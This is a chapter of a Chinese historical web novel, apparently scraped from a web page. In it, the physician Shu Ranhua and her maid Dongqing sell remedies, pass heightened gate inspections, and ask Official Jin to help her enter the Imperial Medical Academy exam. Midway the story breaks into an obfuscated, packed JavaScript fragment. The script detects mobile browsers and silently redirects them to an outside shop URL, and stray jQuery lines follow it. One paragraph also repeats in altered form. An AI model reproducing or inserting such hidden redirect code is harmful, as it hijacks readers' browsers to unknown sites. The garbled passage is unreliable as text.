9. 皇城戒备
    与此同时,在皇城另一隅的舒苒华与冬青,对这一切尚一无所知,她们正忙着整理明日要用的药材。

    “娘子,‘理肠丸’、‘归脾丸’和‘舒筋活络膏’今天全卖出去了,金疮散倒是没人买,我们明天还要带去吗,不如腾出位置?”冬青一边清点药罐,一边问道。

    舒苒华细心地研磨着药材,头也不抬地说道:“备着吧,说不定明日就有急需之人。”

    冬青点了点头,将金疮散重新归置到药箱的一角。

    “娘子,你说我们以后能不能开一家医馆啊?”冬青突然问道,眼中闪烁着期待的光芒。

    “这才刚学走路,你就想着跑了?”舒苒华轻笑,手中的动作未停,继续将药材分类归置,“路还长着呢。”

    “也对。”冬青挠了挠头,不好意思地笑了,“我差点忘了,娘子可是要当医官的人,自是无暇开医馆了。”

    准备妥当,一夜好梦。

    随着晨曦初现,舒苒华和冬青早早地起了床。她们轻手轻脚地做早饭,以免惊扰到仍在沉睡中的宋婉宁。

    昨晚,宋婉宁服下药后,便睡得十分安稳,即便是药房里的响动也没能将她唤醒。。

    今日她们打算进城,除了按照约定去拿那套金针,舒苒华还有一事要做。

    当经过草市时,昨日向她们买了膏药的老丈早就等候在那里,已在那儿等候。一见到她们,他便热情地迎了上来,问道:“舒娘子,你今日可还带了那‘舒筋活络膏’?给我来五块,我跟你说啊,昨晚我贴了那膏药,效果可好了,我那老腰的酸痛感便减轻了许多,一夜好眠,今早起来感觉整个人都轻松了不少。”

    大爷笑得眼睛眯成了一条缝,满是皱纹的脸上洋溢着满足与感激。

    舒苒华闻言,嘴角也挂上了温柔的笑容,她从药箱中取出膏药递给老丈,道:“大爷,您觉得好用便好。”

    老丈接过药膏,连连点头:“舒娘子,你真是活菩萨下凡。我这毛病都好些年了,用过许多膏药,都没什么大用,直到用了你的药,才算有了指望。你放心,以后我这邻里街坊的,有谁身上有个疼啊痛的,我指定第一个就推荐他们来找你买药。”

    舒苒华笑着摇了摇头:“大爷言重了。”

    两人告别了老丈,继续向城西万胜门走去。

    在排队进城的时候,冬青就感受到周围人群投来异样的目光,并伴随着窃窃私语。

    “娘子,他们为何那样看着我们?”她问道。

    舒苒华扫了一眼周遭,眼中闪过一丝了然:“我们作铃医打扮,自然引人侧目。不过,我们无需理会他们。”

    昨日在草市受到认可让冬青一时忘记了,她们的铃医装扮还是很惹眼的,尤其这些人还不知晓娘子的厉害。

    她感到有些沮丧,轻声问道:“娘子,我们是不是每到一个地方,就得重新开始,才能让这些人正常看待我们?”

    “无妨,时间自会证明一切。”舒苒华宽慰道。

    说罢,她抬起头,往前看去。

    今日城门口的氛围似乎比往常更为紧张,守卫的士兵们个个神色严峻,目光如炬,对每一位进出城门的行人都进行了更为细致的盘查。

    冬青也跟着抬头望去,注意到这一幕,她拉了拉舒苒华的衣袖,压低了声音问:“娘子,今儿个城门怎么这般森严?”

    舒苒华轻轻皱眉,目光扫过那些戒备森严的士兵,心中也生出一丝不解,蹙眉说道:“许是近日皇城有什么大事发生,加强戒备也是常理之中。我们行事小心些便是。”

    冬青用力地点了点头。

    等通过盘查,进了外城,走到铁匠铺,冬青一路吆喝着“世代行医,妙手回春”,却无人问津,只引得路人侧目,偶尔还飘来几声嗤笑。

    通过盘查进入外城后,冬青一路高声宣扬“世代行医,妙手回春”,然而,他的叫卖并未吸引任何顾客,反而招致路人的侧目和偶尔的嘲笑。

    冬青心中既不忿又难过,这世道对女子的偏见依旧根深蒂固,即使大齐朝已有所改善,但也非一朝一夕能改。

    “他们虽然窃议,但也没作出什么过分的举动。前朝时,别说女子学医行医了,她们只能困于闺阁之中,出门还得带幂篱。而今我大齐,女子得以走出家门,还能涉足百业,已是很好了。”舒苒华注意到冬青低落地情绪,偏过头朝冬青柔和地笑了笑,“以后,还会更好。”

    冬青闻言,心中的阴霾顿时消散了大半,她用力地点了点头,眼中重新焕发光彩,“娘子说得对,咱们慢慢来!”

    等取了金针,两人继续前行,穿过熙熙攘攘的街道,朝太医学走去。

    太医学坐落于外城城南右二厢,毗邻国子监。建筑宏伟壮观,青砖灰瓦,古朴典雅。门前两尊石狮威严地守护着,而门楣上则悬挂着一块巨大的匾额,上面刻有“太医学”四个遒劲有力、龙飞凤舞的大字。

    “娘子,这里就是太医学啊,真是气派!”冬青低声赞叹道。

    舒苒华抬头注视着那四个雄浑的大字,她对太医学并不陌生,祖父曾带她进去看过,那时的她本以为很快就能进入太医学学习,成为一名医官。

    “是啊。”舒苒华微微一笑,眼中却闪过一丝复杂的情绪,“冬青,你在这里等一下我。”

    说完,她便迈步走向太医学的大门,走到守卫前,礼貌地说道:“我想求见太医学的金太丞,烦请通报一声,就说有位姓舒的娘子求见。”

    金太丞名为金子绍,在舒家来京后,曾上门来拜访过祖父,因此舒苒华与他有过一面之缘。在她的印象里,金太丞是一位和蔼的长者,曾亲切地跟她打过招呼。

    守卫上下打量了舒苒华一番,见她虽然衣着朴素,但气质不凡,便点了点头,示意她稍等片刻,旋即转身入内通禀。

    没多久,一位身穿深绿色圆领长袍官服,腰系铜带,脚踩乌靴的中年男子走了出来,他面圆额阔,蓄着长须,正是金太丞。

    舒苒华连忙行了一礼:“晚辈舒苒华,特来拜见。”

    金太丞仔细地打量了一会她,恍然道:“原来是舒家小娘子,上次见你还是三年前吧,当时还是个小姑娘,没想到如今已出落得亭亭玉立了。令堂近来可好?”

    “母亲安好,多谢金太丞挂念。”舒苒华答道。

    金太丞点了点头:“你今日前来,可是有何要事?”

    “晚辈今日前来,实有一事相求。”舒苒华说道,“我想参加明年的太医学春试。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750996|145446||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“哦?”金太丞微微皱眉,“你到时直接递交家状便可,跟我有何关系?”

    舒苒华答道:“晚辈知道规矩,但此次前来,实有不得已之苦衷。太医学春试规定,参加考试的学生需要有召命官、使官或翰林医官做保,但晚辈在京城并无熟识的医官,故而特来恳请您相助。”

    金太丞闻言,恍然道:“原来如此。”

    “可我并非明年春试的召命官,也非圣上亲命的使官,更非翰林医官,怕是帮不了你。”金太丞话音里带着几分无奈。

    舒苒华闻言,脸上并未露出失望之色,语气诚恳地说道:“晚辈知道此事颇为唐突,但实在是别无他法,只望能得您一句引荐,让我有机会向合适的医官陈情,便是莫大的恩德了。”

    金太丞沉吟片刻,缓缓说道:“你既有此志,老夫自当尽力相助。不过,担任明年春试的召命官中,有方景行方提举大人。”

    “方提举大人?”舒苒华心中一动,不知金太丞何意,出声问道。

    金太丞叹道:“三年前,所有翰林医官因受你祖父之事牵连,连贬两阶。而方提举大人才从正八品保和郎降为正九品翰林医侯不久,圣上无意得知他与你祖父有交情,斥其‘一丘之貉’,遂下旨将他从翰林医官院除名,调到太医学做副提举。”

    “这件事,他至今还耿耿于怀啊,谁要是敢在他面前提起你祖父或你舒家,都要遭他冷眼相待。而且,他作为太医学府的提举,还负责考生家状的最终审核,哪怕你找到了担保人,怕也很难过他那关,他怕是不会让舒家的人进太医学。”

    “我的家状并无任何问题,他没有理由取缔我的资格。”舒苒华轻皱起眉头。

    金太丞苦笑一声,语重心长地说:“理虽如此,但人心复杂。方提举大人若心中对你有所成见,行事便可能多几分严苛。比如说,按《齐律疏议》,犯官之子不得参与科考。”

    “可这条律法,是针对那贪污腐败、卖国求荣的奸恶之徒,而我祖父一生光明磊落,既未染指分毫不义之财,更未行那叛国背君之举!”舒苒华的声音虽轻,却透露出不容置疑的坚定,她的眼中闪烁着一种惊人的亮光,“再者,我祖父不是犯官,他没有触犯任何一条齐朝律法。”

    “‘等’这个字,便大有文章可作。”金太丞轻叹一声,目光中既有同情也有无奈,“方提举大人心中若存芥蒂,便可能以此为由,对你多加刁难。”

    舒苒华闻言,心下一沉。

    舒苒华很快调整情绪,目光坚定地望着金太丞,说道:“晚辈感激您的坦诚相告,也明白其中曲折,但即便如此,我也要试一试。”

    金太丞闻言,思索了一番后说道:“既然你心意已决,看在你祖父的面上,老夫倒是可以帮你。先替你找位担保人,然后再去拜访方提举大人,帮你说情说情。”

    舒苒华闻言,心中顿时一喜,深深一礼道:“金太丞的恩情,晚辈铭记于心。”

    金太丞微微一笑,伸手虚扶起她:“舒家小娘子,不必多礼。你祖父当年的事甚是可惜啊,我也曾受过你祖父的恩惠,如今能帮到他的后人,也算是了却一桩心愿。”

    说罢,他捋了捋胡须,皱眉道:“但上门拜访他人,是不是得备些薄礼以示诚意?”